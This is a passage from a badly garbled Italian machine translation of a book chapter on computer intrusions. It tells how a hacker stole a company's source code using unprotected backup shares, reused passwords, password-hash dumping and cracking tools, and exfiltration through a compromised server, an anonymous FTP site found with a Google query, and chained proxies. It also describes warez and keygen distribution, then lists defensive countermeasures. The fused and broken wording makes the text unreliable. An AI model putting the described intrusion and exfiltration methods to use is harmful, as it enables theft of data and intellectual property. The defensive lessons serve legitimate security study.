Tra i file nella directory sono una copia di undiaslo personale di Outlook

cartelle, contenenti copie di tutti salvati e-m@H.condivisione di retei riferisce a un
disco rigido o una parte di un disco che e statdigorato per intenzionalmente
consentire l'accesso o la condivisione di file detgdi altri.)

Il pericolo di Backup dei dati

Un denominatore comune nella maggior parte di raiieéquando vogliamo fare una
backup, vogliamo rendere davvero facile per n@ssté&Se c'é abbastanza

spazio a disposizione, abbiamo il backliputto . E poi ci dimentichiamo a questo proposito. Il
numero di backup in giro diventa enorme. La geate@icemente lasciare

li accumulano, si riuniscono, e nessuno pensa ullai smozione

finché il server o il dispositivo di backup si egsace lo spazio.

"Spesso," Robert commenta: "il backup contienécesitessenziale,

Informazioni stupefacente che non si da alcun peoger perché é la

backup. Trattano con molto basso di sicurezza.rgbbe il mio piu giovane

I'hacking giorni, ho notato la stessa cosa. Un&tbandrebbe a estremo
lunghezze per proteggere alcuni dati, ma i baclagh dtessi dati erano

trattati come poco importante. Quando ero latitambelavorato per uno studio legale
che lascerebbe loro nastri di backup in una scdidizori del com- protetta
computer ingresso spazio per essere raccolti daasiata di archiviazione off-site.
Chiunque avrebbe potuto rubato i nastri con pocz@le di essere scoperti.)

Su Backup2, noto uno spazio comune dove qualcueveasostenuto

tutte le sue chicche - tutto. Immagind come foseeeasso, e la

storia avra un anello familiare a molti:
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Questo ragazzo era stato in fretta un giorno. Pefido bisogno di tornare
qguesto in su ", cosi lo aveva fatto. E, dopo ess@&t® esequito il backup come forse
tre o quattro mesi fa, era ancora seduto Ii.
Quindi, questo mi da una sensazione per la retevwwato come forse |l
amministratori di sistema hanno lavorato, perch@sfa non era una persona sviluppatore o
gualcuno senza accesso. Questo qualcuno é statxeald creare un rete
Share, ma ovviamente non era incredibilmente praoao
sicurezza.
Robert prosegui:



Se fosse stato anale sicuro come me, avrebbe amatpassword

su quella quota, e lui forse avrebbe chiamato latgudi qualcuno

cosa casuale. E avrebbe rimosso successivamente.

Ancora meglio, dal punto di vista di Robert: "Haievuna copia del suo Outlook

in la, come pure "con tutti i suoi indirizzi e cattt. "Ho copiato il

file di archivio ", dice Robert. "Ho recuperatio fascicolo Outlook.pst con tutta la sua
e-mail, 130 o 140 mega. "

Si disconnesso e ha trascorso alcune ore a leggeal del ragazzo. Lui

scoperti "annunci pubblici, pagano modifiche, aalelle prestazioni,

tutto di questo ragazzo. Ho scoperto un bel pmfdrmazioni su

lui - era uno degli amministratori di sistema dipbo sulla rete ed era

responsabile di tutti i server di Windows, "Rob®aitdichiarato:" E sono stato in grado
per ottenere attraverso il suo box che gli altrmamstratori di sistema sono stati e che ha avato u
sacco di accesso "E 'ancora piu bello.:

Le informazioni all'interno della sua e-mail é stastremamente utile. Ero

in grado di sviluppare una lista di persone chegu® avere accesso alle

il codice sorgente che volevo. Ho scritto tuttid nomi, tutti i dettagli

Ho potuto ottenere. Poi sono andato in giro e hea® intera del ragazzo

file di posta per "password"”, e quello che ho triova stato un paio di registrazione
zioni, uno dei quali con alcune societa applianceete.

Aveva creato un account sul loro lato supporto Eosua e-mail

indirizzo e una password. E lui aveva fatto questodue o tre

fornitori. Ho trovato le email che erano tornatidbicom-

imprese] dicendo: "Grazie per la registrazione dehto, il tuo

username € questo, la password € che ". La paroldide ¢ stata

"Mypassword" per due societa diverse.

Cosil, forse, solo forse, era la stessa che usdaaaab.

La gente e pigra, quindi questo sarebbe sicurantemiena di provare.
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Buona congettura. La password ha funzionato pedensuoi conti sulla
server aziendale. Ma non era l'account di ammatiste di dominio
Robert sperata, che gli avrebbe consentito |'aocats
maestro database di account, che memorizza il nbemee di ogni utente di dominio
e hash password. Tale banca dati veniva chiamatéapeenticazione
agli utenti di tutto il dominio. A quanto pare haugo un solo nome utente, ma aveva
diversi livelli di accesso a seconda che si accaddv
dominio o il computer locale. Robert aveva bisognaministratore di dominio
I'accesso per accedere a sistemi piu sensibik deltieta, ma la
amministratore stava usando una password diversagmminio
Account Administrator, uno che Robert non avevaué€fo davvero screziato
me off ", ha lamentato.
La faccenda stava cominciando a ottenere piu giauifrustrante.
"Ma ho pensato che avrei potuto finalmente troVasua password per l'altro
conto solo guardando intorno altre risorse ".
Poi la situazione ha cominciato a illuminare. Hapgrto che la societa é stata
usando un‘applicazione di gestione del progettomé@mato Visual SourceSafe e
riuscito ad ottenere l'accesso al file di passvestérno, che era apparentemente
leggibile da qualsiasi utente che ha avuto accalssistema. Attaccare la password



file word con dominio pubblico software crackindldgassword, ci sono voluti "forse
come una settimana e mezzo, due settimane, e bho @ava password diversa per il
man. "Lui aveva recuperato una seconda passwotthpeninistratore che aveva
stato bird-Dogging. Tempo per una piccola festee<papassword e anche

utilizzata per I'account di amministratore di domjrche ha dato I'accesso a Robert
tutti gli altri server che volevano entrare.

Osservazioni password

Le password sono cose molto personali, Robert diEecome si puo dire

aziende molto rigide € quando danno tutti una passe che

password molto anale e molto severe. Ma si puoadine- molto rilassato

aziende quando la password di default € un gioetia dettimana, o il default passaporti
parola e il nome della societa o qualcosa di &tnéd insensata ".

(Robert condiviso con me che alla societa in cubia, un

la password del dipendente € impostato per il giamrcui inizia. Quando si cerca di accedere,
"Puoi avere sette tentativi prima che il sistemilatca, e, di

Naturalmente, € necessario solo non piu di cingaeesi "se si sta cercando di
entrare nel conto di qualcuno.)

Robert ha scoperto che un sacco di conti pressociata stava cercando

alla compromissione aveva una password predefmiiama di seguente:
companyname 2003
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Egli non ha trovato alcuna con "2002" o prima, gugra ovvio che
sono stati tutti cambiati il giorno di Capodann@stone delle password Geniale!
Ottenere accesso completo
Robert poteva sentirsi sempre piu vicino al suetivo. Armati con la sezione
ond Password aveva ottenuto per I'amministratoceilalettronica
identita che aveva dirottato, ora aveva accessdasfh delle password del
intero dominio. Ha usato pwdump?2 per estrarre ggibhdel
Primary Domain Controller, e LOphtCrack Il per rpete la maggior parte del
le password.
(L'ultimo trucco fresco utilizza tabelle arcobalenbe sono le tabelle di una password
hash e le password corrispondenti. Un sito, httparcaprj.
wayreth.eu.org/, tentera di rompere I'hash deltsward per voi. Voi
basta inviare il LAN Manager e hash NT, e il tudirizzo e-mail.
E possibile ottenere una e-mail di nuovo con leswasd. Robert ha spiegato, "Hanno
generate pre determinati hash in base al set ditedardi uso comune
nella costruzione di una password, in modo chesaawdi dover lotti di calcolo
potere, hanno 18 o 20 gigabyte di hash pre-generbtiorrispondente
rispondendo password. E 'molto veloce per un coenpdr la scansione attraverso
gli hash pre-calcolate per trovare una corrispordgechiedendo ', Sei questo? Sei
guesto? Sei questo? Va bene - tugseista”Un attacco di tabelle arcobaleno riduce.
il tempo di cracking di secondi.)
Quando LOphtCrack finito, Robert ha avuto le passvp®r piu ogni
utente nel dominio. A questo punto, dalle informaznei messaggi di posta elettronica che aveva
dirottato in precedenza, aveva messo insieme staadi persone che si erano scambiati
messaggi con I'amministratore di sistema. Uno eua ¢avoratore che
aveva scritto su un server che si era rotto, laameitsi, "Sono in grado di
salvare eventuali nuove revisioni e non posso ggdue il mio codice ". Cosi era ovviamente



uno sviluppatore, che era informazioni preziosebdRbora alzo la

il nome utente e la password dello sviluppatore.

Compose e firmato con le credenziali dello sviluppa "Logged

come lui, ho avuto pieno accesso a tutto "

"Tutto" € significato questo caso, in particoldarepdice sorgente del

prodotto - "questo e le chiavi del regno”. E lavéva. "Volevo

per rubare la fonte. C'era tutto quello che volewacconta felicemente.

Invio la casa codice

Robert aveva appena visto il bagliore dell'oro aheva cercato. Ma lui

doveva ancora trovare un modo - un modo sicurattdnere la consegna al suo
porta di casa. "Erano file piuttosto pesanti”, di¢&nso che l'intera

albero dei sorgenti € stato di circa un concetie,avrebbe portato me f___ kiegttimane "
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(Almeno non era cosi male come il tentativo di seasie una grande com-
il file pressato con un modem 14.4K baud, che dl@ube avevo fatto quando
Ho copiato fuori centinaia di megabyte di VMS cadsorgente digitale
Anni Equipment Corporation precedenti.)
Poiché il codice sorgente era cosi enorme, voleaapill veloce connessione
zione per l'invio. E voleva un percorso di consegmanon poteva essere facilmente
risalire a lui. La connessione veloce non ha pitasemn gran problema.
In precedenza aveva compromesso un'altra socigliaStati Uniti che
usato Citrix MetaFrame, che era un altro anatratsesl Internet.
Robert ha stabilito una connessione VPN nella satiget e
mappato un disco per cui il codice sorgente risiadela semplicemente copiato via.
"Ho usato il server Citrix alla VPN alla rete [deBocieta di software]
di nuovo, e poi mappata alla condivisione. E pocbpiato tutto la fonte
codice, binari, e altri dati al server Citrix séicabile. "
Per trovare un percorso per la consegna dei fileado sicuro, untraceably (sperava),
ha usato il mio motore di ricerca preferito, Googler individuare un anonimo
FTP server - che permette a chiunque di caricasagcare file ad una
directory accessibile al pubblico. Inoltre, staeacando un anonimo
FTP server che aveva directory accessibile anehneite HTTP (utilizzando un Web
browser.) ha calcolato che, utilizzando un servid? Enonimo, la sua atti-
lita sarebbe "sepolto nel rumore", perché molti alirebbero anche
utilizzando il server al commercio porno, warez sroa e film.
Il termine di ricerca ha usato in Google e staseguente:
Indice di genitore inurl arrivo: ftp
Questo cerca server FTP istituito per consentpe#sso anonimo. Da
i server individuati dalla ricerca di Google, h&lsg uno che ha incontrato il suo
criteri per i download HTTP come detto in precedemnz modo da poter scarica-
caricare il codice proprio browser Web.
Con i file di origine gia trasferite dalla societicom-
Server Citrix promesso, ora li trasferito di nu@l@nonimo
Server FTP era situato dalla ricerca di Google.
Ora c'era solo un ultimo passo che rimane primgpolteva, a lungo
ultima, avere il codice sorgente preziosa in sussesso: il trasferimento dal
Server FTP al proprio computer. Ma "alla fine dglilarnata, non voglio
per avere il mio indirizzo Internet scaricandoduttcodice sorgente, e in parti-



cialmente non per ore e ore, se sai cosa vogle dQuindi, prima

il trasferimento dei file sul server FTP, li comgge in un piu piccolo

pacchetto, dando un nome innocuo ("gift.zip, o qosd del genere").

Ancora una volta ha usato una catena di servelym@pgrti per far rimbalzare il suo con-
collegamento in un modo che rende improbabile alzciare. Robert spiega,
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"C'é come cento aperte Calze deleghe nella soleafaik tu
conoscere in ogni momento, forse un centinaio ige useranno uno di questi
proxy ". Quindi, se sono abilitati registraziontuti, che rende i registri davvero
grande, il che significa che é altamente improlealiagazzi in giacca e cravatta stanno per MAN-
eta per Bloodhound voi e venire a bussare allptuta. "Sei come
I'ago dal pagliaio. E 'semplicemente troppo ingaanke. "
Infine, dopo tutti i suoi sforzi, la trasmissiona éa sua strada.
Non riuscivo a credere che il codice e stato s@aran a meE 'stato un
davvero grande cosa.
S
HARING
:AC
RACKER

S

W

MONDO

Che cosa fa un hacker come un Erik o un Robertuiagevolta che hanno la coper-
software eted in mano? Per entrambi, come peitglpar i quali il termine
"Cracking" o "software pirata" applica, la rispostahe la maggior parte

tempo, condividono il software che hanno pirataio molti, molti altri.

Ma fanno la condivisione indirettamente.

Erik ha spiegato le misure che segui dopo nabbsaftware server

aveva trascorso due anni assetato dopo. La donesiaddata scritta

in un linguaggio di programmazione non era abila,Enk aveva un amico

che era stato programmatore nel linguaggio, cosuparato la fonte

codice per generare il codice di sblocco o la teggone di bypassare la concessione di licenze
ing controlli di sicurezza. Ha aggiunto una intedia utente grafica (GUI) in cima
del generatore chiave rubata di nascondere I'@rigel codice.

Ho dato a qualcun altro che ha caricato il softwakieuno dei

nuclei Warez, archiviare il tutto in un pacchethogsso la

keygen in e informazioni create file [con] istruzio

come installare e rompere il software. Non ho piusia.

Quando si e pronti per caricare il programma e &y primo luogo a verificare
vedere se qualcun altro potrebbe aver incrinagtdsso programma gia.

Prima di pubblicare qualcosa, si vuole assicurarse nessun altro ha

fatto prima, quindi non un "babbeo controllare" pessicurarsi che sia unico.

Il controllo dupe € facile. Il cracker va semplicame www.dupecheck.ru

(I sito si trova in Russia

2

) Ed entra il nome e la versione del

prodotto. Se e presente nell'elenco, significaggrecun altro ha gia incrinato e



inviato ad uno dei siti principali Warez.
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Ma solo perché il software e stato inviato al sibm significa
chiunque puo scaricarlo. In realta, il sito annammominente
SIAMO UN GRUPPO CHIUSO SO F__K OFF
(Le lettere mancanti sono, ovviamente, fornitossial.)
D'altra parte, se € un prodotto corrente e nonrarelencati, che
significa il cracker ha segnato un grande colp@ &ssere il primo a
caricare la versione di cracking del software.
Una volta che un nuovo pacchetto viene caricatdigi@ibuzione inizia rapidamente, come Erik
descritto.
Ci sono probabilmente come forse 50 principalisiéirez nel mondo, pri-
siti vate FTP. Si carica di uno di questi siti, léiaterno forse
un‘ora e replicato da quel sito a migliaia di alsiti
in tutto il mondo, attraverso corrieri.
Forse 50 a 200 volte al giorno - dice probabilmeh@®, che € una bella
buona media. Un centinaio di programmi al giornmgeno piratati in questo modo.
Un “"corriere”, spiega Erik, € una persona che sivadla roba" da un
sito cracking a un altro. Corrieri sono "il sucaesdivello inferiore della catena alimentare”
dai ragazzi che cercano di rompere il software.
| corrieri guardano tre o quattro siti diversi. Nappena
uploads qualcuno [un applicazione incrinato] alsMvarez, e
scorgono come qualcosa di nuovo, che scaricartovarlo su
ad altri tre o quattro siti il piu velocemente pidske prima di chiunque altro.
Ora, a questo punto non c'e forse 20 siti che haAnmlte
questo potrebbe essere due o tre mesi prima cineigvo software] anche
colpisce i negozi.
Il prossimo livello di corrieri - ragazzi che noarino ancora ottenuto l'accesso al
nuclei Warez - macchiano la nuova voce e passtaeyatso |0 stesso processo
di scaricare e poi caricare il piu velocemente jpissper il maggior numero
altri siti come il possibile, per essere il primigd € proprio in fondo che filtra
modo e come nel giro di un'ora, € andato due woltetto il mondo. "
Alcune persone ottenere l'accesso a siti wareavattso crediti, Erik ha spiegato.
| crediti sono un tipo di valuta di cracking guadatp contribuendo alla
missione dei siti, che € la distribuzione del saftsvdi cracking. Il
cracking di solito fornisce sia il programma e @wrmmento che genera
chiavi di licenza valide o qualche altro tipo dismone.
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Un cracker ottiene crediti per essere il primo r@ceae il "crack” per un sito
che non ha ancora. Solo la prima persona a caucexr@uova applicazione
su un particolare sito riceve credito.
Quindi sono molto motivati a farlo in fretta. Penta, in nessun tempo,
e visto in tutto il mondo. A quel punto le perséar@o copie di esso su loro
proprio siti di crack o newsgroup.
La gente come me che cercano di rompere questaatdagono accesso illimitato



sempre - se sei un cracker, vogliono contribuiraantenere

la roba buona quando sei il primo che ha.

Alcuni siti hanno il programma completo e il keyg&la un sacco di crack
siti, "Erik spiega,” non includono il programmalasd keygen. A

rendere [file] piccoli e per rendere meno probabiie i federali verranno chiuse
giu. "

Tutti questi siti, non solo i principali siti wareiz alto livello, ma quei due o
tre livelli giu, sono "difficili da ottenere su. 80 tutti privato ", perché se uno
degli indirizzi dei siti € saputo, "i federali abtgero non solo spegnerlo,
avevano spegnerlo, arrestare le persone, prengareldro computer, e arrestano
chiungue sia mai stato in quel sito "perché qusst-TP sono, dopo la

tutto, depositari di enormi quantita di proprietéeilettuale rubati.

Non ho nemmeno andare a quei siti piu. Vado rardmencausa della

rischi connessi. Andro li quando ho bisogno di al@oftware, ma non ho mai
caricare roba me stesso.

In realta &€ molto interessante perché e estremagneidficientelo

dire quali altre attivita ha un sistema di distrinione del genere e

tutti sono motivati perché tutti vogliono qualcosa.

Come un cracker, ricevo inviti per accedere a tgttesti siti, perché tutti

I siti vogliono causa buoni cracker "é cosi cheengono piu couri-

ERSE i corrieri vogliono accedere ai buoni siti percbé

dove ottengono la roba buona.

[l mio gruppo non permette nuove persone. Inottrepno alcune cose

noi non rilasciamo. Come una volta abbiamo rilasoiMicrosoft Office, uno
estate, ed era troppo rischioso. Dopo che abbiaswsd di non

fare davvero grandi nomi come quello piu.

Alcuni ragazzi vanno tizzone, ottenere davvero @ggvo su di esso e venderanno
i CD. Soprattutto quando iniziare a farlo per i dpldisegna

piu attenzione. Sono quelli che di solito otterignsted.

Ora, per questo tutto con software, lo stesso @soavviene

con la musica e con i film. In alcuni dei siti dif, si pud
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ottenere l'accesso ai film di due o tre settimanen@ che colpiscano teatri qualcuno
volte.Che di solito qualcuno che lavora per un distribieto un
duplicatore. E 'sempre qualcuno all'interno.
lo
Nsight
La lezione della storia di ricerca di Erik per daedoftware ultimo server
pacchetto per completare la sua collezione: Inraatan sembra essere tale
cosa come la perfezione, e questo € ancora piuguenedo si tratta di esseri umani. Suo
societa target é statnolto attento alla sicurezza e ha fatto un ottimo
lavoro a proteggere i propri sistemi informaticiaMn hacker che € competente
abbastanza, determinato a sufficienza, e dispagteadere abbastanza tempo é quasi
impossibile tenere fuori.

Oh, certo, probabilmente sarete abbastanza fortaimatn avere qualcuno come
determinato come Erik o Robert attaccano i sistdposti a spendere un master
guantita sive di tempo ed energie per lo sforzo.chlae circa un

concorrente senza scrupoli disposti ad assumersquera di professione sotterraneo



sionisti - un gruppo di mercenari di hacker ogspdisti a mettere in 12 o 14

ore al giorno e amare il loro lavoro?

E se gli attaccanti non trovano una crepa nel reletirica della propria organizzazione
armatura tronic, che cosa allora? A parere di EGkjando qualcuno entra in

la rete per quanto ero in questa rete, [si] noa s&i, mai, mai

tirarlo fuori. Lui € Ii per sempre. "Egli sostiedkee ci vorrebbe™” un

riparazione completa di tutto e di cambiare twgtpdssword nello stesso

giorno, contemporaneamente, reinstallare tuttssamdo poi tutto a

allo stesso tempo per bloccare lo fuori ". E daveftutto senza mancanti

ing una cosa sola. "Lascia una porta aperta e tdirnoovo

in pochissimo tempo. "

Le mie esperienze confermano questo punto di \(@iando ero al liceo, ho

inciso nel Easynet di Digital Equipment CorporatiSapevano che

aveva un intruso, ma per otto anni, le migliori thénloro sicurezza

reparto non riusciva a tenermi fuori. Alla finegsliberato di me - non

attraverso gli sforzi di loro, ma perché il goverra stato

cosi gentile da offrirmi un pacchetto vacanza ia dai loro vaca- federale

localita zione.

C

OUNTERMEASURES

Anche se questi sono stati attacchi molto divérsiprire gli occhi per notare come
molte vulnerabilita sono stati fondamentali pesutcesso di entrambi questi hacker, e
quindi quante delle contromisure si applicano aaenbi gli attacchi.

In seguito sono le principali lezioni da questeisto
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Firewall aziendali
| firewall devono essere configurati per consertaecesso solo ai servizi essenziali,
come richiesto dalle esigenze di business. Untattégsame dovrebbe essere fatto per garantire
che nessun servizio siano accessibili tranne ge#édittivamente necessari per il business.
Inoltre, considerare I'utilizzo di un "firewall $&dul inspection.” Questo tipo di
firewall fornisce una migliore sicurezza, tenendgtia dei pacchetti per un periodo
di tempo. | pacchetti in ingresso sono consentite ix risposta ad una uscita
connessione. In altre parole, il firewall apre detp per particolari
porte in base al traffico in uscita. E, cosi, izare un insieme di regole per
controllare le connessioni di rete in uscita. L'amstratore del firewall dovrebbe
riesaminare periodicamente la configurazione deWall e log per garantire che nessun
sono state apportate modifiche non autorizzateju@ésiasi hacker compromette la
firewall stesso, e altamente probabile che I'hatker alcuni cambiamenti sottili
che forniscono un vantaggio.
Inoltre, se del caso, prendere in consideraziooentrollo dell'accesso alla rete VPN basata su
I'indirizzo IP del client. Questo sarebbe applitalguando un numero limitato
del personale di connettersi alla rete aziendalaite VPN. In aggiunta,
considerare l'implementazione di una forma piursicli autenticazione VPN, ad esempio
carte intelligenti o certificati lato client piugto che un segreto condiviso statica.
Firewall personali
Erik ha rotto nel computer del CEO e scoperto cleva una persona
Sonal firewall in esecuzione. Egli non é statostai®, in quanto ha sfruttato un servizio
che é stato consentito dal firewall. Era in gradmdare comandi



attraverso una stored procedure abilitato di defatderver Microsoft SQL.

Questo e un altro esempio di sfruttare un sendgbmil firewall non ha

proteggere. La vittima in questo caso mai preswifga di esaminare il suo volumi-

log dei firewall nous, che contenevano piu di 5@bkattivita registrato.

Questo non e I'eccezione. Molte organizzazioni@eitrusioni preventive

tecnologie dell'informazione e di rilevamento agpettano che la tecnologia per la gestione
stessa, a destra, fuori dalla scatola. Come iltstiguesto comportamento negligente permette
un attacco per continuare senza sosta.

La lezione € chiara: costruire con attenzione dlaefirewall impostato per filtrare sia

il traffico in entrata e in uscita sui servizi ahen sono essenziali per Busi-

ness bisogni, ma anche rivedere periodicamente se&gole del firewall e la

registri per rilevare modifiche non autorizzateeotativi di violazioni della sicurezza.

Una volta che un hacker si rompe in, che sararbbagbilmente dirottare un sistema dormiente o
utente

conto, cosi da poter tornare in un momento futurdaltra tattica € quella di aggiungere
privilegi o gruppi di account esistenti gia inctiina

Esecuzione di revisione periodica degli accoumtetegruppi e file di autoriz-

sioni € un modo per individuare eventuali intrusiiprivilegiate non autorizzato

attivita. Un certo numero di strumenti di sicuredpaninio commerciale e pubblico sono
L'arte dell'intrusione

186

Pagina 208
disponibile quella parte automatizzare questo mswePoiché gli hacker sanno come
bene, € anche importante verificare periodicamiéntegrita di qualsiasi Sicurezza-
strumenti connessi, script, e tutti i dati di onigiche viene utilizzato in combinazione.
Molte intrusioni sono il risultato diretto di cogfirazioni di sistema non corrette,
come un'eccessiva porte aperte, i permessi daldib®li e mal configurato
Server Web. Una volta che un utente malintenziooatpromette un sistema a livello utente, la
prossimo passo in attacco sta elevando i priva&gittando sconosciuto
o vulnerabilita senza patch e autorizzazioni mafigoirati. Non
dimenticare, molti attaccanti seguono una sertardi piccoli passi in rotta verso un
compromissione del sistema completo.

Gli amministratori di database di supporto MicrasSQL Server dovrebbe con-

sider disabilitando alcune stored procedure (comemdshell,

xp_makewebtask, e Xp_regread) che puo esserezatiiper ottenere ulteriore sistema
accesso.

Port Scanning

Mentre leggete questo, il computer collegato ariv@eé probabilmente essere
scandita da alcuni computer geek alla ricercaldet-hanging fruit".

Poiché la scansione delle porte € legale negli Btati (e molti altri paesi

prova), il vostro ricorso contro I'aggressore @arilimitato. Il piu

fattore importante e distinguere le gravi minacagdrte delle migliaia

dello script kiddies sondare il vostro spazio diiiizzi di rete.

Ci sono diversi prodotti, tra cui firewall e rilaw&nto delle intrusioni

sistemi, che identificano alcuni tipi di port scamgne puo avvisare il

personale appropriato circa l'attivita. E possiboefigurare la maggior parte dei firewall
identificare scansione delle porte e strozzare@imessione di conseguenza. Alcuni
prodotti firewall commerciali hanno opzioni di caqiirazione per evitare veloce

port scanning. Ci sono anche strumenti "open s6umogrado di identificare la porta
scansioni e rilasciare i pacchetti per un certdogerdi tempo.



Conosci il tuo sistema

Un certo numero di compiti di gestione del sistelage essere eseguito per fare il
seguenti:

e Controllare I'elenco dei processi per tutti i gss insoliti 0 sconosciuti.
e Esaminare l'elenco dei programmi pianificati pgnicnon autorizzata
aggiunte o modifiche.

e Esaminare il file system, alla ricerca di sistemovi o modificati

binari, script, programmi o applicazioni.

e Ricerca qualsiasi insolito riduzione dello spdiero su disco.
Capitolo 8 vostra proprieta intellettuale non eisic

187

Pagina 209
e \erificare che tutti gli account di sistema o ugesono attualmente attivi, e
rimuovere gli account inattivi 0 sconosciute.
e \erificare che i conti speciali installati di dafasono configurati
negare login interattivi o di rete.
e Verificare che le directory di sistema e file haratcesso ai file corretto
permessi.
e Controllare i registri di sistema per qualsiasasa attivita (come ad esempio a distanza
accesso da origini sconosciute, o in orari insdlitiante il
notte o il fine settimana).
e Audit i log del server Web per identificare evealtuichieste che accedono
file non autorizzati. Gli attaccanti, come illustran questo capitolo, si
copiare i file in una directory del server Web ergzare il file tramite
il Web (HTTP).
e Con ambienti server Web che distribuire FrontRage
WebDav, assicurarsi che le autorizzazioni apprégisano impostati per evitare
utenti non autorizzati di accesso ai file.
Incident Response e Alerting
Sapere quando un incidente di sicurezza e in guéaiutare con danni
controllo. Attivare il controllo del sistema opavat per identificare il potenziale di sicurezza
violazioni. Distribuire un sistema automatizzate gevisare I'amministratore di sistema
qguando si verificano determinati tipi di eventicdintrollo. Si noti tuttavia che se un
attaccante ottiene privilegi sufficienti e divertansapevole della revisione contabile,
questo sistema di allarme automatizzato puo essggieata.
Rilevare i cambiamenti autorizzati nelle applicazioi
Robert era in grado di sostituire I'applicazionptesk.exe sfruttando una
errata configurazione con authoring FrontPage. D@y compiuto la sua
obiettivo di ottenere il codice sorgente del prodaoli punta dell'azienda, ha
lasciato la sua versione "hacked" dell'applicazioekpdesk in modo da poter tornare
in un secondo momento. Un amministratore di sisteb®aati di lavoro non pud mai realizzare
che un hacker di nascosto modificato un progransisieste, soprattutto se non
controlli di integrita sono fatti. Un'alternativaantrolli manuali € la licenza di un
programma come Tripwire
3
che automatizza il processo di rilevamento nonraito
modifiche zato.
Autorizzazioni
Erik e stato in grado di ottenere le password thlase confidenziali per la visualizzazione di file
nella / include directory. Senza queste passwakrdli si potrebbe avere



stato ostacolato nel compiere la sua missione. Epo esposto sensibile
L'arte dell'intrusione
188

Pagina 210
le password del database in un file sorgente ldggibtutto il mondo era tutto quello che doveva
arrivare in. La protezione ottimale € quella ditex@ di memorizzare qualsiasi password in chiaro
parole nei file batch, di origine, o di script. Upalitica a livello aziendale deve
essere adottata che proibisce la memorizzaziohe petsword in chiaro se non assolutamente
necessaria. Per lo meno, i file contenenti le passw chiaro devono
essere opportunamente protetti per evitare la giazaibne accidentale.

Alla societa che Robert stava attaccando, il seévlierosoft 11IS4

non era stato configurato correttamente per impeafiti utenti anonimi o ospiti

dalla lettura e scrittura di file nella directorglderver Web. L'esterno

file di password utilizzato in combinazione con kisoft Visual SourceSafe era

leggibile da qualsiasi utente connesso al sisténcausa di queste miscon-

figurazioni, I'attaccante e stato in grado di agtenil pieno controllo del target del

Dominio Windows. Sistemi di Distribuzione con uneedtory organizzata strut-

Ture per applicazioni e dati probabilmente aumenitefficacia della

controlli di accesso.

Password

Oltre alle altre proposte di gestione password c¢enu

descritte in questo libro, il successo degli atiaticin questo capitolo

ter mette in evidenza alcuni punti importanti seppéntari. Erik ha commentato che lui

e stato in grado di prevedere come altra societawiard verrebbe costruito

sulla base delle password era stato in grado dpeoen Se la vostra azienda e

utilizzando alcuni standard, metodo prevedibile ictipendenti siano

necessaria per seguire nella costruzione passdovdebbe essere chiaro che

si sta estendendo un invito aperto porte agli hracke

Una volta che un attaccante ottiene accesso miatie a un sistema, ottenendo password
parole di altri utenti o database e una prioritdi fhttiche come Ricerca-

ing tramite e-mail o l'intero file system alla nica di testo in chiaro

password in email, script, file batch, il codicegamte include, e propaghi

fogli & abbastanza comune.

Le organizzazioni che utilizzano il sistema ope@tiVindows dovrebbe prendere in considerazione
la configurazione del sistema operativo in modolchN Manager hash delle password sono
non memorizzato nel Registro di sistema. Se urGdtde ottiene i diritti di accesso amministrativi,
si puo estrarre gli hash delle password e tenter@tpere loro. IT persona-

Nel puo facilmente configurare il sistema in motie d hash vecchio stile non vengono
memorizzati,

aumentando sostanzialmente la difficolta di fessare password. Tuttavia,

una volta che un attaccante "possiede" la tualeasdilo lei puo intercettare il traffico di rete,
installare una password di terze parti add-on ffenere le password degli account.
Un'alternativa a spegnere LAN hash delle passwaaddger per confermare

password struct con un personaggio non impostapedibile sulla tastiera

utilizzando il tasto <Alt> e l'identificatore numeo del carattere, come

descritto nel capitolo 6. | programmi password-knag diffusi fanno
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Non tentare di decifrare le password utilizzandioceratteri dal greco,

Ebraico, latino e alfabeti arabo.

Applicazioni di terze parti

Utilizzo di strumenti di scansione Web personaliez&rik scopri un non protetto

file generato da un prodotto commerciale FTP Ibgedistro contiene il

informazioni sul percorso completo per i file cloma stati trasferiti da e verso il stema
TEM. Non fare affidamento su configurazioni di ddfalurante l'installazione di terze parti
software. Implementare la configurazione meno prdita di perdite di valore mazioni
zioni, come dati di log che possono essere usaftp@ccare ulteriormente la rete.
Protezione Azioni

Distribuzione di condivisioni di rete € un metodorane di condivisione di file e direzione
Tories in una rete aziendale. Il personale IT pecigkre di non assegnare le password
o il controllo di accesso alle condivisioni di reperché le azioni sono accessibili solo
sulla rete interna. Come accennato in questo limerosi

organizzazioni concentrano i loro sforzi sul mamtemto buona sicurezza perimetrale,
ma inferiori per il fissaggio del lato interno delete. Come

Robert, attaccanti che si trovano in rete cerchei@ni con

nomi che promettono preziose, informazioni sensiNbmi descrittivi

come la "ricerca" o "backup" solo fare il lavorout attaccante in modo significativo
piu facile. La pratica migliore e quella di protegg adeguatamente tutte le azioni di rete che
contenere informazioni sensibili.

Prevenire DNS Guessing

Robert ha utilizzato un programma guesser DNSdntificare possibili nomi di host
all'interno di un file di zona accessibile al ptibbldominio. E possibile impedire display
chiusura hostname interni mediante l'attuazior@ddche € noto come split

orizzonte DNS, che ha sia un esterno e un nommmtel server.

Solo pubblicamente accessibili host si fa riferitoemel file di zona del esternalita

nome del server nale. Il nome del server intermadformeglio protetto dal

attacco, viene utilizzato per risolvere query DN&iini per la rete aziendale.
Protezione server Microsoft SQL Server

Erik ha trovato una posta e Web server di backepesegue Microsoft SQL Server

in cui il nome e la password erano gli stessi cgolo iden-

ficato nel codice sorgente "include" i file. Il ger SQL non dovrebbe avere

stato esposto a Internet senza la necessita didsssliegittimo. Anche

se l'account "SA" e stato rinominato, I'attaccdrateédentificato il nuovo

il nome account e la password in un file di codioegente non protetto. Il migliore
L'arte dell'intrusione
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pratica € quello di filtrare la porta 1433 (Micr@s8QL Server), a meno che non sia assolutamente
richiesto.

Protezione Sensitive File

Gli attacchi nei principali storie di questo cafptgono riusciti, alla fine,

perché il codice sorgente é stato salvato su sehgenon erano adeguatamente
assicurato. In ambienti altamente sensibili, cothessempio una societadiR & D o
gruppo di sviluppo, un ulteriore livello di sicugezpotrebbe essere fornito attraverso
I'impiego di tecnologie di crittografia.

Un altro metodo per un singolo sviluppatore (maplmlmente non pratico in un
ambiente della squadra, dove un certo numero doperche richiedono l'accesso al
codice sorgente del prodotto in sviluppo) sareldyecpttografare



dati estremamente sensibili come codice sorgemegmotti come PGP

Disk o PGP Corporate Disk. Questi prodotti creamtale criptato

dischi, ancora funzione in un modo che rende it@sso trasparente per l'utente.
Protezione dei backup

Come chiarito in queste storie, € facile per i dgenti - anche quelli che

sono soprattutto di coscienza su questioni di sgza - a trascurare il

necessita di proteggere adeguatamente i file didpadnclusi i file di backup e-mail, da
